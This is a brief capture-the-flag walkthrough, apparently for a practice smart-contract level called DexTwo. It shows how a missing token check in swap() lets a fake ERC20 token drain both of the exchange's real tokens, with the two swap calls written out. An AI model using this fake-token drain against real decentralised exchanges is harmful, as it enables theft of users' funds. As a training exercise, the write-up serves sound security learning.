00Overview
Unlike Dex, `DexTwo.swap()` does not validate that the input token is one of the two official tokens. Deploying a fake ERC20 and adding it as the swap input tricks the DEX into releasing all of token1 and token2.
01Deploy a fake ERC20 with arbitrary supply
javascript
// Deploy FakeToken with 400 supply, send 100 to Dex02Drain token1 using fake token
javascript
await contract.swap(fakeToken, token1, 100) // 100 fake -> 100 token103Drain token2 using fake token
javascript
await contract.swap(fakeToken, token2, 200) // 200 fake -> 100 token204Level Completed
